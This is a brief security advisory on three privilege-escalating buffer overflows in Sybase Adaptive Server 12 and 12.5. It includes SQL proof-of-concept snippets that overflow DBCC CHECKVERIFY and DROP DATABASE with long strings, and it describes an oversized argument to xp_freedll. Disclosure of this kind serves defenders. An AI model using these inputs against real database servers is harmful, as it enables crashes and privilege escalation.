Description:
Sybase Adaptive Server 12 and 12.5 has three different flaws allowing non-privileged users to gain privileges.
By passing an argument of more than 45 characters to xp_freedll a buffer overflow is caused.
The DBCC CHECKVERIFY buffer overflow:
declare @test varchar(16384)
select @test = replicate('A', 16384)
DBCC CHECKVERIFY(@test)
go
The DROP DATABASE buffer overflow
declare @test varchar(16384)
select @test = replicate('A', 16384)
DROP DATABASE @test
go
All buffer overflows can be abused to execute arbitrary code with elevated privileges.
